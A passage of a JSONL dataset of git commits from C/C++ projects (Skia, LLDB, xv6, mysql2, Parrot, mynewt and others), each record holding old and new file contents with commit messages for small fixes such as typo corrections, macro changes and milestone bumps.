s);\n\texit(1);\n}\n\nint main(void) {\n\tpthread_t incr, decr;\n\n\tpthread_create(&incr, NULL, do_thread, (void *)1);\n\tpthread_create(&decr, NULL, do_thread, (void *)-1);\n\n\tpthread_join(incr, NULL);\n\tpthread_join(decr, NULL);\n\n\tif(counter != 0) {\n\t\tpanic(\"Counter is non-zero!\");\n\t}\n\treturn 0;\n}\n","subject":"Fix bitrotted include in test","message":"Fix bitrotted include in test\n","lang":"C","license":"isc","repos":"zenhack\/zero,zenhack\/zero,zenhack\/zero"}
{"commit":"058e1d58e49a2635fa649114f58d66ac4580ba1d","old_file":"hw\/mcu\/native\/src\/hal_gpio.c","new_file":"hw\/mcu\/native\/src\/hal_gpio.c","old_contents":"","new_contents":"\/**\n * Copyright (c) 2015 Runtime Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"hal\/hal_gpio.h\"\n\n#include <stdio.h>\n\n#define HAL_GPIO_NUM_PINS 8\n\nstatic struct {\n    int val;\n    enum {\n        INPUT,\n        OUTPUT\n    } dir;\n} hal_gpio[HAL_GPIO_NUM_PINS];\n\nint\ngpio_init_in(int pin, gpio_pull_t pull)\n{\n    if (pin >= HAL_GPIO_NUM_PINS) {\n        return -1;\n    }\n    hal_gpio[pin].dir = INPUT;\n    switch (pull) {\n    case GPIO_PULL_UP:\n        hal_gpio[pin].val = 1;\n        break;\n    default:\n        hal_gpio[pin].val = 0;\n        break;\n    }\n    return 0;\n}\n\nint\ngpio_init_out(int pin, int val)\n{\n    if (pin >= HAL_GPIO_NUM_PINS) {\n        return -1;\n    }\n    hal_gpio[pin].dir = OUTPUT;\n    hal_gpio[pin].val = (val != 0);\n    return 0;\n}\n\nvoid\ngpio_set(int pin)\n{\n    gpio_write(pin, 1);\n}\n\nvoid\ngpio_clear(int pin)\n{\n    gpio_write(pin, 0);\n}\n\nvoid gpio_write(int pin, int val)\n{\n    if (pin >= HAL_GPIO_NUM_PINS) {\n        return;\n    }\n    if (hal_gpio[pin].dir != OUTPUT) {\n        return;\n    }\n    hal_gpio[pin].val = (val != 0);\n    printf(\"GPIO %d is now %d\\n\", pin, val);\n}\n\nint\ngpio_read(int pin)\n{\n    if (pin >= HAL_GPIO_NUM_PINS) {\n        return -1;\n    }\n    return hal_gpio[pin].val;\n}\n\nvoid\ngpio_toggle(int pin)\n{\n    gpio_write(pin, gpio_read(pin) != 1);\n}\n","subject":"Add GPIO hal for simulator.","message":"Add GPIO hal for simulator.\n","lang":"C","license":"apache-2.0","repos":"andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core"}
{"commit":"84e98bde6e98ab033b63393efc2741e260a63253","old_file":"include\/lldb\/Host\/PosixApi.h","new_file":"include\/lldb\/Host\/PosixApi.h","old_contents":"\/\/===-- PosixApi.h ----------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef liblldb_Host_PosixApi_h\n#define liblldb_Host_PosixApi_h\n\n\/\/ This file defines platform specific functions, macros, and types necessary\n\/\/ to provide a minimum level of compatibility across all platforms to rely\n\/\/ on various posix api functionality.\n\n#include \"llvm\/Support\/Compiler.h\"\n\n#if defined(LLVM_ON_WIN32)\n#include \"lldb\/Host\/windows\/PosixApi.h\"\n#endif\n\n#endif","new_contents":"\/\/===-- PosixApi.h ----------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef liblldb_Host_PosixApi_h\n#define liblldb_Host_PosixApi_h\n\n\/\/ This file defines platform specific functions, macros, and types necessary\n\/\/ to provide a minimum level of compatibility across all platforms to rely\n\/\/ on various posix api functionality.\n\n#include \"llvm\/Support\/Compiler.h\"\n\n#if defined(LLVM_ON_WIN32)\n#include \"lldb\/Host\/windows\/PosixApi.h\"\n#endif\n\n#endif\n","subject":"Add a newline to the end of the file to remove the clang warnings.","message":"Add a newline to the end of the file to remove the clang warnings.\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@278188 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"0b7aa15019283753a620c908deea7bab4da1f94d","old_file":"libcassandra\/util\/platform.h","new_file":"libcassandra\/util\/platform.h","old_contents":"\/*\n * LibCassandra\n * Copyright (C) 2010-2011 Padraig O'Sullivan, Ewen Cheslack-Postava\n * All rights reserved.\n *\n * Use and distribution licensed under the BSD license. See\n * the COPYING file in the parent directory for full text.\n *\/\n\n#ifndef __LIBCASSANDRA_UTIL_PLATFORM_H\n#define __LIBCASSANDRA_UTIL_PLATFORM_H\n\n#include <boost\/tr1\/memory.hpp>\n#include <boost\/tr1\/tuple.hpp>\n#include <boost\/tr1\/unordered_map.hpp>\n\n#include <string>\n#include <vector>\n#include <map>\n#include <set>\n\n#endif \/\/__LIBCASSANDRA_UTIL_PLATFORM_H\n","new_contents":"\/*\n * LibCassandra\n * Copyright (C) 2010-2011 Padraig O'Sullivan, Ewen Cheslack-Postava\n * All rights reserved.\n *\n * Use and distribution licensed under the BSD license. See\n * the COPYING file in the parent directory for full text.\n *\/\n\n#ifndef __LIBCASSANDRA_UTIL_PLATFORM_H\n#define __LIBCASSANDRA_UTIL_PLATFORM_H\n\n#ifdef __GNUC__\n\n\/\/ #include_next is broken: it does not search default include paths!\n#define BOOST_TR1_DISABLE_INCLUDE_NEXT\n\/\/ config_all.hpp reads this variable, then sets BOOST_HAS_INCLUDE_NEXT anyway\n#include <boost\/tr1\/detail\/config_all.hpp>\n#ifdef BOOST_HAS_INCLUDE_NEXT\n\/\/ This behavior has existed since boost 1.34, unlikely to change.\n#undef BOOST_HAS_INCLUDE_NEXT\n#endif\n\n#endif\n#endif\n\n#include <boost\/tr1\/memory.hpp>\n#include <boost\/tr1\/tuple.hpp>\n#include <boost\/tr1\/unordered_map.hpp>\n\n#include <string>\n#include <vector>\n#include <map>\n#include <set>\n\n#endif \/\/__LIBCASSANDRA_UTIL_PLATFORM_H\n","subject":"Disable boost's include_next functionality, fixes compatibility with Sirikata.","message":"Disable boost's include_next functionality, fixes compatibility with Sirikata.\n","lang":"C","license":"bsd-3-clause","repos":"xiaozhou\/libcassandra,xiaozhou\/libcassandra,xiaozhou\/libcassandra,xiaozhou\/libcassandra"}
{"commit":"3c409aa80a2d40b21277cdbddf879a376814e315","old_file":"src\/config_traits.h","new_file":"src\/config_traits.h","old_contents":"#include <type_traits>\n\ntemplate<typename T>\nstruct is_config_type:std::integral_constant<bool,false>{};\n\ntemplate<> struct is_config_type <bool>:               std::integral_constant<bool,true>{};\n\ntemplate<> struct is_config_type <int>:                std::integral_constant<bool,true>{};\ntemplate<> struct is_config_type <long>:               std::integral_constant<bool,true>{};\ntemplate<> struct is_config_type <long long>:          std::integral_constant<bool,true>{};\n\ntemplate<> struct is_config_type <unsigned int>:       std::integral_constant<bool,true>{};\ntemplate<> struct is_config_type <unsigned long>:      std::integral_constant<bool,true>{};\ntemplate<> struct is_config_type <unsigned long long>: std::integral_constant<bool,true>{};\n\ntemplate<> struct is_config_type <float>:              std::integral_constant<bool,true>{};\ntemplate<> struct is_config_type <double>:             std::integral_constant<bool,true>{};\ntemplate<> struct is_config_type <long double>:        std::integral_constant<bool,true>{};\n\ntemplate<> struct is_config_type <std::string>:        std::integral_constant<bool,true>{};\n\n","new_contents":"#include <type_traits>\n\ntemplate<typename T>\nstruct is_config_type: std::false_type{};\n\ntemplate<> struct is_config_type <bool>:               std::true_type{};\n\ntemplate<> struct is_config_type <int>:                std::true_type{};\ntemplate<> struct is_config_type <long>:               std::true_type{};\ntemplate<> struct is_config_type <long long>:          std::true_type{};\n\ntemplate<> struct is_config_type <unsigned int>:       std::true_type{};\ntemplate<> struct is_config_type <unsigned long>:      std::true_type{};\ntemplate<> struct is_config_type <unsigned long long>: std::true_type{};\n\ntemplate<> struct is_config_type <float>:              std::true_type{};\ntemplate<> struct is_config_type <double>:             std::true_type{};\ntemplate<> struct is_config_type <long double>:        std::true_type{};\n\ntemplate<> struct is_config_type <std::string>:        std::true_type{};\n\n","subject":"Change integral_constant<bool> to true_type and false_type.","message":"Change integral_constant<bool> to true_type and false_type.\n","lang":"C","license":"mit","repos":"actinium\/cppConfig"}
{"commit":"588dcc093d81a4acfac699195641dfa26571d2a1","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 95\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 96\n#endif\n","subject":"Update Skia milestone to 96","message":"Update Skia milestone to 96\n\nChange-Id: I635df8267340a9068b80a2e6c001958cfb2d10e4\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/447578\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"7d8b06f783652f8464b9985d07a0c9ba2ce4e202","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 66\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 67\n#endif\n","subject":"Update Skia milestone to 67","message":"Update Skia milestone to 67\n\nTBR: reed\n\nBug: skia:\nChange-Id: I11a5515c41d5bb7ed95294fdb63668c35d14d960\nReviewed-on: https:\/\/skia-review.googlesource.com\/111326\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia"}
{"commit":"1dfa8ad98b49171049e224a2fe2a33176c6bf779","old_file":"include\/sigar_visibility.h","new_file":"include\/sigar_visibility.h","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n#ifndef SIGAR_VISIBILITY_H\n#define SIGAR_VISIBILITY_H 1\n\n#ifdef BUILDING_SIGAR\n\n#if defined (__SUNPRO_C) && (__SUNPRO_C >= 0x550)\n#define SIGAR_PUBLIC_API __global\n#elif defined __GNUC__\n#define SIGAR_PUBLIC_API __attribute__ ((visibility(\"default\")))\n#elif defined(_MSC_VER)\n#define SIGAR_PUBLIC_API __declspec(dllexport)\n#else\n\/* unknown compiler *\/\n#define SIGAR_PUBLIC_API\n#endif\n\n#else\n\n#if defined(_MSC_VER)\n#define SIGAR_PUBLIC_API __declspec(dllimport)\n#else\n#define SIGAR_PUBLIC_API\n#endif\n\n#endif\n\n#endif \/* SIGAR_VISIBILITY_H *\/\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n#pragma once\n\n#ifdef BUILDING_SIGAR\n\n#if defined(__GNUC__)\n#define SIGAR_PUBLIC_API __attribute__ ((visibility(\"default\")))\n#elif defined(_MSC_VER)\n#define SIGAR_PUBLIC_API __declspec(dllexport)\n#else\n\/* unknown compiler *\/\n#define SIGAR_PUBLIC_API\n#endif\n\n#else\n\n#if defined(_MSC_VER)\n#define SIGAR_PUBLIC_API __declspec(dllimport)\n#else\n#define SIGAR_PUBLIC_API\n#endif\n\n#endif\n","subject":"Remove support for Sun Studio compiler","message":"Remove support for Sun Studio compiler\n\nChange-Id: I7fb2ac0cd9942fad79eb874604dc48e02a0d01db\nReviewed-on: https:\/\/review.couchbase.org\/c\/sigar\/+\/166582\nTested-by: Build Bot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\nReviewed-by: Paolo Cocchi <9dd88c9f3e5cbab6e19a6c020f107e0c648ac956@couchbase.com>\n","lang":"C","license":"apache-2.0","repos":"couchbase\/sigar,couchbase\/sigar"}
{"commit":"4d3b0456778961c5a8af919a7c1fcf60a8658bf4","old_file":"kernel\/kernel\/resourceManager.c","new_file":"kernel\/kernel\/resourceManager.c","old_contents":"#include \"resourceManager.h\"\n#include \"kernelHeap.h\"\n\n\/\/allocates frames\nMemoryResource *create_memoryResource(unsigned int size)\n{\n    MemoryResource *memRes;\n\n    memRes = kmalloc(sizeof(MemoryResource));\n\n    return memRes;\n}","new_contents":"#include \"resourceManager.h\"\n#include \"kernelHeap.h\"\n\n\/\/allocates frames\nMemoryResource *create_memoryResource(unsigned int size)\n{\n    MemoryResource *memRes;\n\n    memRes = (MemoryResource*)kmalloc(sizeof(MemoryResource));\n\n    return memRes;\n}\n","subject":"Use type casts from void","message":"Use type casts from void\n","lang":"C","license":"mit","repos":"povilasb\/simple-os,povilasb\/simple-os"}
{"commit":"59f7cc058f7d810cd161b21cbff526f0378a61df","old_file":"mechanical\/kelvin-params.c","new_file":"mechanical\/kelvin-params.c","old_contents":"","new_contents":"#include \"matrix.h\"\n#include <stdio.h>\n\nenum datacols {\n    _M = 1,\n    _J0 = 2,\n    _J1 = 3,\n    _J2 = 5,\n    _TAU1 = 4,\n    _TAU2 = 6\n};\n\ndouble CreepLookup(char *file, double T, double M, int param)\n{\n    int i = 0;\n    double M0, M1, y0, y1;\n    matrix *data;\n\n    data = mtxloadcsv(file, 1);\n\n    while(val(data, i, _M) < M)\n        i++;\n\n    M0 = val(data, i-1, _M);\n    M1 = val(data, i, _M);\n    y0 = val(data, i-1, param);\n    y1 = val(data, i, param);\n\n    DestroyMatrix(data);\n    return y0 + (y1 - y0) * (M-M0)\/(M1-M0);\n} \n\ndouble CreepLookupJ0(char *f, double T, double M)\n{ return CreepLookup(f, T, M, _J0); }\ndouble CreepLookupJ1(char *f, double T, double M)\n{ return CreepLookup(f, T, M, _J1); }\ndouble CreepLookupJ2(char *f, double T, double M)\n{ return CreepLookup(f, T, M, _J2); }\ndouble CreepLookupTau1(char *f, double T, double M)\n{ return CreepLookup(f, T, M, _TAU1); }\ndouble CreepLookupTau2(char *f, double T, double M)\n{ return CreepLookup(f, T, M, _TAU2); }\n\n","subject":"Add functions for linear interpolation of creep function parameters.","message":"Add functions for linear interpolation of creep function parameters.\n","lang":"C","license":"bsd-3-clause","repos":"mirrorscotty\/material-data"}
{"commit":"4c7c2cb4711297c1e5eefad723ab3b1db27d1614","old_file":"include\/parrot\/stacks.h","new_file":"include\/parrot\/stacks.h","old_contents":"\/* stacks.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Stack handling routines for Parrot\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_STACKS_H_GUARD)\n#define PARROT_STACKS_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\n#define STACK_CHUNK_DEPTH 256\n\nstruct Stack_Entry {\n    INTVAL entry_type;\n    INTVAL flags;\n    void (*cleanup)(struct Stack_Entry *);\n    union {\n        FLOATVAL num_val;\n        INTVAL int_val;\n        PMC *pmc_val;\n        STRING *string_val;\n        void *generic_pointer;\n    } entry;\n};\n\nstruct Stack {\n  INTVAL used;\n  INTVAL free;\n  struct StackChunk *next;\n  struct StackChunk *prev;\n  struct Stack_Entry entry[STACK_CHUNK_DEPTH];\n};\n\nstruct Stack_Entry *push_generic_entry(struct Perl_Interp *, void *thing, INTVAL type, void *cleanup);\nvoid *pop_generic_entry(struct Perl_Interp *, void *where, INTVAL type);\nvoid toss_geleric_entry(struct Perl_Interp *, INTVAL type);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","new_contents":"\/* stacks.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Stack handling routines for Parrot\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_STACKS_H_GUARD)\n#define PARROT_STACKS_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\n#define STACK_CHUNK_DEPTH 256\n\nstruct Stack_Entry {\n    INTVAL entry_type;\n    INTVAL flags;\n    void (*cleanup)(struct Stack_Entry *);\n    union {\n        FLOATVAL num_val;\n        INTVAL int_val;\n        PMC *pmc_val;\n        STRING *string_val;\n        void *generic_pointer;\n    } entry;\n};\n\nstruct Stack {\n  INTVAL used;\n  INTVAL free;\n  struct StackChunk *next;\n  struct StackChunk *prev;\n  struct Stack_Entry entry[STACK_CHUNK_DEPTH];\n};\n\nstruct Stack_Entry *push_generic_entry(struct Perl_Interp *, void *thing, INTVAL type, void *cleanup);\nvoid *pop_generic_entry(struct Perl_Interp *, void *where, INTVAL type);\nvoid toss_generic_entry(struct Perl_Interp *, INTVAL type);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Fix typo in function name","message":"Fix typo in function name\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@255 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot"}
{"commit":"8d8fbf94c3fc783a1becafb9efa6db8f4d0985f1","old_file":"ext\/mysql2\/mysql2_ext.h","new_file":"ext\/mysql2\/mysql2_ext.h","old_contents":"#ifndef MYSQL2_EXT\n#define MYSQL2_EXT\n\nvoid Init_mysql2(void);\n\n\/* tell rbx not to use it's caching compat layer\n   by doing this we're making a promise to RBX that\n   we'll never modify the pointers we get back from RSTRING_PTR *\/\n#define RSTRING_NOT_MODIFIED\n#include <ruby.h>\n\n#ifdef HAVE_MYSQL_H\n#include <mysql.h>\n#include <mysql_com.h>\n#include <errmsg.h>\n#include <mysqld_error.h>\n#else\n#include <mysql\/mysql.h>\n#include <mysql\/mysql_com.h>\n#include <mysql\/errmsg.h>\n#include <mysql\/mysqld_error.h>\n#endif\n\n#ifdef HAVE_RUBY_ENCODING_H\n#include <ruby\/encoding.h>\n#endif\n#ifdef HAVE_RUBY_THREAD_H\n#include <ruby\/thread.h>\n#endif\n\n#if defined(__GNUC__) && (__GNUC__ >= 3)\n#define RB_MYSQL_NORETURN __attribute__ ((noreturn))\n#define RB_MYSQL_UNUSED __attribute__ ((unused))\n#else\n#define RB_MYSQL_NORETURN\n#define RB_MYSQL_UNUSED\n#endif\n\n#include <client.h>\n#include <statement.h>\n#include <result.h>\n#include <infile.h>\n\n#endif\n","new_contents":"#ifndef MYSQL2_EXT\n#define MYSQL2_EXT\n\nvoid Init_mysql2(void);\n\n\/* tell rbx not to use it's caching compat layer\n   by doing this we're making a promise to RBX that\n   we'll never modify the pointers we get back from RSTRING_PTR *\/\n#define RSTRING_NOT_MODIFIED\n#include <ruby.h>\n\n#ifdef HAVE_MYSQL_H\n#include <mysql.h>\n#include <errmsg.h>\n#include <mysqld_error.h>\n#else\n#include <mysql\/mysql.h>\n#include <mysql\/errmsg.h>\n#include <mysql\/mysqld_error.h>\n#endif\n\n#ifdef HAVE_RUBY_ENCODING_H\n#include <ruby\/encoding.h>\n#endif\n#ifdef HAVE_RUBY_THREAD_H\n#include <ruby\/thread.h>\n#endif\n\n#if defined(__GNUC__) && (__GNUC__ >= 3)\n#define RB_MYSQL_NORETURN __attribute__ ((noreturn))\n#define RB_MYSQL_UNUSED __attribute__ ((unused))\n#else\n#define RB_MYSQL_NORETURN\n#define RB_MYSQL_UNUSED\n#endif\n\n#include <client.h>\n#include <statement.h>\n#include <result.h>\n#include <infile.h>\n\n#endif\n","subject":"Include mysql_com.h has been here for ages but was superfluous","message":"Include mysql_com.h has been here for ages but was superfluous\n","lang":"C","license":"mit","repos":"kamipo\/mysql2,kamipo\/mysql2,sodabrew\/mysql2,sodabrew\/mysql2,tamird\/mysql2,jeremy\/mysql2,brianmario\/mysql2,jeremy\/mysql2,bigcartel\/mysql2,brianmario\/mysql2,tamird\/mysql2,jeremy\/mysql2,kamipo\/mysql2,brianmario\/mysql2,kamipo\/mysql2,tamird\/mysql2,sodabrew\/mysql2,bigcartel\/mysql2,bigcartel\/mysql2,tamird\/mysql2,bigcartel\/mysql2"}
{"commit":"89826f41bd5c96e6b13692d03d08049c912b9365","old_file":"cat.c","new_file":"cat.c","old_contents":"#include \"types.h\"\n#include \"stat.h\"\n#include \"user.h\"\n\nchar buf[512];\n\nvoid\ncat(int fd)\n{\n  int n;\n\n  while((n = read(fd, buf, sizeof(buf))) > 0)\n    write(1, buf, n);\n  if(n < 0){\n    printf(1, \"cat: read error\\n\");\n    exit();\n  }\n}\n\nint\nmain(int argc, char *argv[])\n{\n  int fd, i;\n\n  if(argc <= 1){\n    cat(0);\n    exit();\n  }\n\n  for(i = 1; i < argc; i++){\n    if((fd = open(argv[i], 0)) < 0){\n      printf(1, \"cat: cannot open %s\\n\", argv[i]);\n      exit();\n    }\n    cat(fd);\n    close(fd);\n  }\n  exit();\n}\n","new_contents":"#include \"types.h\"\n#include \"stat.h\"\n#include \"user.h\"\n\nchar buf[512];\n\nvoid\ncat(int fd)\n{\n  int n;\n\n  while((n = read(fd, buf, sizeof(buf))) > 0) {\n    if (write(1, buf, n) != n) {\n      printf(1, \"cat: write error\\n\");\n      exit();\n    }\n  }\n  if(n < 0){\n    printf(1, \"cat: read error\\n\");\n    exit();\n  }\n}\n\nint\nmain(int argc, char *argv[])\n{\n  int fd, i;\n\n  if(argc <= 1){\n    cat(0);\n    exit();\n  }\n\n  for(i = 1; i < argc; i++){\n    if((fd = open(argv[i], 0)) < 0){\n      printf(1, \"cat: cannot open %s\\n\", argv[i]);\n      exit();\n    }\n    cat(fd);\n    close(fd);\n  }\n  exit();\n}\n","subject":"Check result of write (thans to Alexander Kapshuk <alexander.kapshuk@gmail)","message":"Check result of write (thans to Alexander Kapshuk <alexander.kapshuk@gmail)\n","lang":"C","license":"mit","repos":"shyandsy\/xv6,shyandsy\/xv6,shyandsy\/xv6,ManaPoustizadeh\/OS-finalProject,shyandsy\/xv6,ManaPoustizadeh\/OS-finalProject,gw\/xv6,phf\/xv6-public,voytovichs\/xv6-public,voytovichs\/xv6-public,ManaPoustizadeh\/OS-finalProject,voytovichs\/xv6-public,gw\/xv6,phf\/xv6-public,voytovichs\/xv6-public,voytovichs\/xv6-public,phf\/xv6-public,phf\/xv6-public,ManaPoustizadeh\/OS-finalProject,gw\/xv6,gw\/xv6,gw\/xv6,shyandsy\/xv6"}
{"commit":"84fa2ddd969525d8d92329bda9e9b9457ebc3ddd","old_file":"mach.c","new_file":"mach.c","old_contents":"#define WORD (8 * sizeof(ulong))\n\n#define clz(x) __builtin_clzl(x)\n\n#define fls(x) (WORD - clz(x))\n\n#define ffs(x) (__builtin_ctzl(x))\n\n#define get(x, i) ((x) & (1 << (i)))\n\n#define set(x, i) (x = (x) | (1 << (i)))\n\n#define unset(x, i) (x = (x) & ~(1 << (i)))\n","new_contents":"#define WORD (8 * sizeof(ulong))\n\n#define clz(x) __builtin_clzl(x)\n\n#define fls(x) (WORD - clz(x))\n\n#define ffs(x) (__builtin_ctzl(x))\n\n#define get(x, i) ((x) & (1L << (i)))\n\n#define set(x, i) (x = (x) | (1L << (i)))\n\n#define unset(x, i) (x = (x) & ~(1L << (i)))\n","subject":"Fix to literal data types in the macros","message":"Fix to literal data types in the macros\n\nThanks for Fu, Bing for noting.\n","lang":"C","license":"mit","repos":"coriolanus\/libhhash"}
